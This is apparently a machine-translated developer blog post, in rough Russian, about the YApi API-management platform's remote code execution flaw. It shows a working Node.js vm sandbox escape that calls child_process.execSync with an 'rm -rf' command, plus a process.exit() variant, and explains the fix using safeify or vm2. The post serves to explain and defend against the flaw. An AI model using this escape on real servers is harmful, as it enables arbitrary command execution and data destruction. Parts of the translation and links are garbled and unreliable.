Cry, Yapi 21k Star был взломан

Node.js внешний интерфейс JavaScript
Cry, Yapi 21k Star был взломан

Дело в том, что поскольку наш проект использует этот проект Yapi, мы получили раннее предупреждение от группы безопасности несколько дней назад, в котором говорилось, что Yapi подвергся уязвимости в системе безопасности, и вновь зарегистрированные пользователи могут выполнять произвольный код на вашем сервере. и удалять произвольные вещи, дайте мне срочно пересмотреть! !

Я подумал про себя, что такой большой проект с открытым исходным кодом (21,7k) имеет такую ​​серьезную дыру в безопасности, что ее не должно быть.

Я полагаю, что многие мелкие партнеры использовали это программное обеспечение с открытым исходным кодом в качестве инструмента управления интерфейсом, но чтобы некоторые мелкие партнеры не знали, для чего предназначена эта библиотека, я кратко представлю ее.

Y API (github.com/YMFE/yapi) есть эффективный,легко использовать,МощныйПлатформа управления API предназначена для предоставления более элегантных услуг по управлению интерфейсом для разработчиков, продуктов и тестировщиков. Это может помочь разработчикам легко создавать, публиковать и поддерживать API.YApi также предоставляет пользователям отличный интерактивный опыт.Разработчикам нужно только использовать инструменты записи данных интерфейса, предоставляемые платформой, и простые операции щелчка для управления интерфейсом.

Он не только поддерживает развертывание докеров, но также имеет множество подключаемых модулей, которые можно использовать, например подключаемые модули для автоматизированного тестирования, автоматическую генерацию кода и многое другое.

Далее я сказал, что я пошел по пути повторения группы безопасности, чтобы воспроизвести уязвимость Yapi.

Сначала я в своем/Users/qiufeng/my/yapiсоздал каталог в1.js.

Затем откройте проект Yapi — нажмите «Настройки» — «Глобальный фиктивный сценарий» и настройте его.

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("rm -rf /Users/qiufeng/my/yapi/1.js").toString()

Затем посетите наш глобальный фиктивный адрес

Наконец, мы находим нашу1.jsУшел

Поэтому я немедленно поискал уязвимости безопасности Yapi в Google и обнаружил, что Интернет уже поджарен.Куча жертв, даже Даляньский технологический университет, опубликовали заявление с просьбой немедленно исправить соответствующий код.

Все добываются майнингом, а пересаженный троянский конь пересаживается.

Тогда давайте посмотрим, как исправить эту дыру в безопасности. Официальный сайт в основном решает эту проблему путем слияния PR.

И основной код для исправления этой уязвимости заключается в использованииsafeifyЗаменен Node.jsvm

О, это было использованоvmМодуль, позвольте мне популяризировать его здесьvmзнания, давайте посмотримNode.jsКак определяется официальный сайт.

Модуль vm позволяет компилировать и запускать код в контексте виртуальной машины V8 (ThevmМодуль позволяет компилировать и запускать код в контексте виртуальной машины V8.). Модуль vm не является механизмом безопасности. Не используйте его для запуска ненадежного кода.

Популярное понимание состоит в том, что он может динамически выполнять некоторый код JavaScript (иeval,Functionнесколько похоже). Конечно, официальный сайт также четко указываетvmБезопасность модуля.

Такvmнекоторые и общиеeval,FunctionЕсть ли разница? Конечно, есть Во-первых, самая большая проблема с eval — это навязчивая проблема, потому что выполнение eval вторгнется в мой текущий код. а такжеvmОн обеспечивает более безопасную среду песочницы.

Сначала вы можете использоватьvm.Scriptметод для создания объекта скрипта:new vm.Script(code[, options]), API можно свести к следующим трем:

  • script.runInThisContext(opts)- Запускать скрипт в текущей области, то есть скрипт может обращаться к глобальным переменным текущего скрипта, а не к локальной области.
  • script.runInContext(context, opts)- запустить скрипт в предоставленной области, которая являетсяvm.createContextрезультат. существуетscript.runInContext, вы можете предоставить настраиваемую управляемую песочницу.
  • script.runInNewContext(sandbox, opts)- Запуск скрипта в рамках новой песочницы. которыйrunInNewContextавтоматически позвонит вамvm.createContext.

Примеры следующие:

const vm = require('vm');
vm.runInThisContext(code, opts);
vm.runInNewContext(code, sandbox, opts);
vm.runInContext(code, context, opts);

vmФункции «песочницы» реализуются через дополнительную область действия, которая одновременно изолирует внутренние и внешние воздействия.

Пока кажется, чтоvmЭто безопасно Почему произошло это нарушение безопасности?

Причина в особенностях js...

Первый взгляд на кусок кода

const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');

Это фрагмент кода, который выглядит беспорядочно, но не стоит недооценивать этот код, он может напрямую привести к завершению вашей программы.

Потом разберем шаг за шагом, будемrunInNewContextРасширять.

const vm = require('vm');

const sandbox = {};
const script = new vm.Script('this.constructor.constructor("return process")().exit()');
const context = vm.createContext(sandbox);

script.runInContext(context);

Мы видим, что созданиеvmсреды, вам сначала нужно создать объект песочницы, а затем этот объектvmВыполнить глобальный контекст в скрипте,vmэто указывает наsandbox.

Потому что приведенный выше код тоже можно дизассемблировать так.

const vm = require('vm');

const sandbox = {};
const ObjectConstructor = sandbox.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const foo = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = foo();
process.exit();

Из этого процесса вывода мы можем легко сделать вывод, чтоvmПричина ненадежности, во-первых, в том, что this указывает на песочницу, а песочница — это объект, конструктор объекта — это конструктор объекта, а конструктор конструктора объекта — конструктор функции.

Поскольку мы хотим решить эту проблему, можно использовать более безопасныйvm2илиsafeify. В следующий раз давайте проанализируем исходный код этих двух библиотек, как они предотвращают ихvmиз недостатков.

Ссылки по теме

сегмент fault.com/ah/119000001…

GitHub.com/YM Fe/Yuppie/От…

Оглядываясь назад на предыдущие высоко оцененные статьи автора, вы можете получить больше!

Эпилог

❤️Подписаться + Нравится + Избранное + Комментарий + Переслать ❤️, оригинальность - это не просто, поощряйте автора создавать лучшие статьи

Обратите внимание на публичный аккаунт秋风的笔记, внешний общедоступный аккаунт, посвященный предварительным интервью, разработке и открытому исходному коду.